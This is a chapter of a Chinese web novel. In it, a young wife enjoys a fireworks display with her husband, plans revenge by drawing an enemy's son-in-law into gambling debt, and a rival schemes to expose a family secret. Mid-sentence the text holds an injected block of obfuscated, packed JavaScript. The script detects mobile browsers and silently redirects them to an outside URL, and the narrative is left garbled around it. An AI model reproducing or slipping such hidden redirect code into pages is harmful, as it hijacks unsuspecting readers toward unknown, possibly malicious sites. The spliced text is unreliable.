45. 旧事2

作品:《夫人她天生反骨

    苏荷从同心巷回来时已近黄昏。


    那时谢无痕正坐到房里剥栗子,见她进屋,忙起身相迎:“娘子这是去哪里了?”


    苏荷微微一笑:“天气越来越热了,今日便出府买了些夏布回来,明日再让裁缝上门裁几身衣裳。”


    末了补一句:“给夫君也备了好几身料子。”


    “多谢娘子。”他拉她坐到桌前,“这是给娘子买的栗子。”


    苏荷尝了一颗,“好吃。”


    他也笑了笑,嘴角划出好看的斜线,随即转身递来一个琉璃瓶:“这个,也是给你的。”


    苏荷问:“这是什么?”


    他答,“托人去城外弄的花露。”


    他竟还记得她胡诌的花露一事。


    她故作欣喜地接下:“那贫妾待会儿便用这花露给夫君煮茶喝。”


    他目光温柔,道了声“不急”。


    随后二人一起用了晚膳。


    苏荷欲用花露煮茶时,他却给她披上外衣:“带你去一个地方。”


    她问:“去哪里?”


    他一脸神秘:“去了就知道了。”


    屋外月色朦胧,唯有寥寥几颗星子在闪烁。


    晚风习来,夹裹着泥土的馨香,沁人心脾。


    他带着她走出春华院,穿过四通八达的甬道,再穿过府中曲折的游廊,来到一处高高的阁楼前。


    抬眸望去,夜色中的阁楼飞檐翘角,高耸入云,如一只屹立的大鹏,展翅欲飞。


    阁楼门楣上赫然写着“望乡阁”三个大字。


    据说谢府的前身乃是郡王府,郡王出生边疆,却在京为质,因思念家乡而建了这一处高阁。


    后来郡王病逝,叶落归根,郡王府也便空置下来。


    再后来,皇帝为奖励骠骑大将军谢磊的赫赫战功,便将这栋宅子赐给了他。


    故尔,谢家府邸不仅富丽堂皇,且还面积巨大,处处彰显出皇家气派。


    即便苏荷已嫁进来数月,也未曾将整座府邸走遍。


    眼下她看着望乡阁,不禁感叹:“没想到,咱们府里还有这么一处楼宇。”


    谢无痕牵着她走进楼内:“先上去吧。”


    二人沿着楼梯爬上最高的八层。


    抬眼远眺,大半个京城尽收眼底。


    夜幕下,点点星光,万家灯火,清水河犹如一匹白练绕着京城蜿蜒而过。


    眼前之景,如梦如幻,若真若假。


    苏荷深吸一口气,将带着水汽的晚风一并吸进肺里。


    她问:“夫君是想与贫妾共赏这夜景吗?”


    谢无痕伸臂揽住她:“可不只是夜景。”


    说完朝着夜空打了个呼哨。


    楼下的吴生急忙吩咐小厮点火。


    不过片刻,“嗖嗖”声响起,无数束烟花冲向天际,争相恐后炸开,绽放出无数的火树银花。


    五颜六色的火光照亮夜幕、照亮屋宇,也照亮了幽暗的街巷。


    谁家的娃娃跑出屋子,高兴地大喊:“放烟火罗,放烟火罗。”


    谁家的窗子被推开,探出一颗脑袋,望向夜空:“真好看啊。”


    正院里,徐南芝刚服下药汤,正欲就寝,兀地听到外头的声响,不由得问:“谁家这个时候放炮竹?”


    韩嬷嬷答:“是咱们府里呢。”


    “咱们府里?”


    “老奴听闻,是少爷在给少夫人放烟花。”


    徐南芝气得直摇头:“混账东西,行事越来越张狂了。”


    韩嬷嬷劝:“您别生气,少爷毕竟是年轻人,过几年自然就好了。”


    徐南芝无奈叹气:“一个不诞子嗣的女人,哄着又有何用?”说完气呼呼地躺到了榻上。


    望乡阁上,苏荷仰头看烟火。


    璀璨的光芒映得她一双杏眼灼灼闪烁,好似映进了她的心海里。


    即便知道不会在谢家久留、即便知道自己迟早要离开,但此刻她仍是高兴的、愉悦的。


    绚烂的烟火让她忘记了时间、忘记了过往,让她倾刻间回到了小时候,回到了有爹爹和娘亲在身边的日子。


    她由衷感叹:“真好看啊。”


    她高兴,他自然也高兴。


    他说,“我之心愿,娘子喜乐、安康。”


    她转眸看他,明明暗暗的火光映在他脸上,照亮了他轻扬的嘴角,也照亮了他满目的温柔。


    她问:“夫君为何待贫妾这样好?”


    其实她是知道原因的。


    自茶肆那件事之后,他便这样处处迁就讨好她。


    没错,他在愧疚,愧疚自己曾经疑她。


    他吻了吻她的额。


    他说:“因为和和是我的娘子,我自然要对自己的娘子好。”


    他的语气很温柔,也很坚定。


    有那么一刻,苏荷不敢迎视他的目光,她怕,怕那份温柔的坚定。


    她喃喃低语,“遇到夫君,本也是贫妾的福气。”


    只是这份福气,是她偷来的,亦是她迟早要还回去的。


    唯愿此刻即永恒。


    她踮起脚,主动地吻住了他的唇。


    漫天的烟火里,漫延着无边无际的甜蜜的味道。


    接下来几日,谢无痕依然忙得早出晚归。


    苏荷则让张秀花去打听城外那片瓜地的情况,并选定了一个最合适的瓜棚。


    随即她吩咐阿四再去细细打听刘达忠女儿女婿的情况,毕竟这才是刘达忠的软肋。


    两日后阿四来禀:“刘达忠的女儿叫刘娇,性子跋扈如母大虫,附近居民没人敢招惹她,听说连她的夫婿宋声也对她忍无可忍,时常在外借酒浇愁,如今还染上了赌瘾,动不动就要去赌坊玩上几把,前几日还因为欠下不少赌债而被刘达忠狠揍了一顿呢。”


    苏荷神色微敛:“如此,甚好。”


    随即她翻出了自己的嫁妆,将一撂银票递给张秀花:“姑姑,你找个中间人,引诱宋声借银票。”


    张秀花有些心疼:“需要这么多银票么?”


    苏荷答:“舍不得孩子套不着狼,你尽管让他借去。”


    张秀花应了声“好”,随即出门办事。


    苏荷还出城去了一趟瓜棚,算是熟悉四周地理情况。


    正值六月,翠绿的寒瓜地里硕果累累,微风徐来,带着阵阵瓜果的清香。


    她抬目望向东边的城墙,沿着城墙往上看,便可望见放置登闻鼓的那座高台。


    虽仍是远了点,却也是她能找到的离登闻鼓最近最好下手的距离了。


    张秀花也盯着那座高台:“待大仇得报之日,愿苏妹妹自此安息。”


    苏荷喃喃问:“姑姑,你可还记得娘亲的样子?”


    张秀花叹了一声:“又怎会不记得。”


    苏荷泪湿眼眶:“可是我不记得了。”


    她越用力想要记住娘亲的脸,娘亲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857115|172355||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的脸就会越模糊,以至于现在,即便她仍记得娘亲的声音、发香、走路的姿势、手心的温度,却不记得娘亲的脸了。


    张秀花拍了拍她的肩:“那会儿你还太小,你娘亲不会怪你的。”


    她垂首,久久不言。


    回去的马车上她一路沉默。


    直至到达谢府大门前,她才重新振作。


    刚下马车,苏荷一眼望见从谢府走出来的张倩儿。


    她仍是一身艳丽衣裙,头上金钗摇曳,成亲数日,面上看似清减了不少,但神色仍然尖利而刻薄。


    她走上前来,语带嘲讽:“少夫人这是又去外头野了?”


    苏荷冷笑,答非所问:“倩儿姑娘的胆子不小啊,竟不顾我夫君的警告,再次踏进谢府大门。”


    张倩儿抬起下巴,目光如淬了毒一般:“你现在该称呼我一声‘嫂嫂’了吧,别再倩儿姑娘长倩儿姑娘短了,不礼貌。”


    她说着又逼近一步:“我今日进谢府乃是为探望生病的大姑,你作为谢家儿媳妇对婆母不闻不问倒也罢了,竟还恐吓我一个心怀善念的外人,天理何在?何况,我现在的身份可不是什么谢家表亲,我乃李家的少夫人,即便你的夫君现在想将我赶出京城,怕是也做不到了吧?”


    她说完咬了咬牙,恨不能将苏荷生吞活剥。


    苏荷就喜欢张倩儿这副讨厌她却又干不掉她的样子。


    她面色不变,语气淡淡:“看来嫂嫂与兄长之间当真是两情相悦琴瑟和鸣啊,在此,也恭喜嫂嫂觅得如意郎君。”


    说完她还笑了笑,随即福身施了一礼,转身进了谢府。


    张倩儿气得面色发白,袖间的拳头紧握,握得双臂也暗暗发颤。


    成亲的这些时日,她过得可谓是生不如死。


    她本就嫌弃李建业是个痨鬼,偏偏还性情暴躁,动不动就对她辱骂欧打。


    洞房夜那日只因她不会叫不会动,便被他打得鼻青脸肿。


    幸好那李建业是个病秧子,否则她还要挨更多的打。


    张倩儿看着苏荷的背影消失不见后,才转身上了马车。


    她吩咐冬叶:“去将梅子叫出来,我有事要与她说。”


    冬叶领命而去。


    不过一盏茶功夫,梅子匆匆出来,四周张望几眼后上了张倩儿的马车。


    她一头雾水:“不知表小姐有何吩咐?”


    张倩儿已平息心绪,嘴角浮起笑意,从手腕上摘下镯子:“这是成亲那日婆母送给我的,现下我送给你。”


    梅子一听,吓得乱了方寸:“这可使不得使不得,奴婢受不起。”


    “咱们一块儿在谢家长大,你如何受不起。”


    张倩儿执意将镯子戴在了梅子的手腕上,“多好看啊,你戴着正合适。”


    梅子转了转手腕,不禁也目露喜色,末了忍不住问:“表小姐这般厚待,奴婢感激不尽,不知奴婢能如何报答表小姐?”


    张倩儿神色略敛:“梅子言重了,你我之间何谈报答不报答的,不过倒确实有一事,想请你帮忙。”


    梅子问:“何事?”


    张倩儿凑到梅子耳边,压低声音:“谢家那桩旧事,你应知晓吧?”


    梅子怔了怔:“倒是听姑母说起过。”


    张倩儿眸中溢出阴沉之色:“那桩旧事乃谢家隐秘,谢家个个绝口不提,尤其是大房,你说若是由谢家少夫人翻出这桩旧事来,会不会有好戏看?”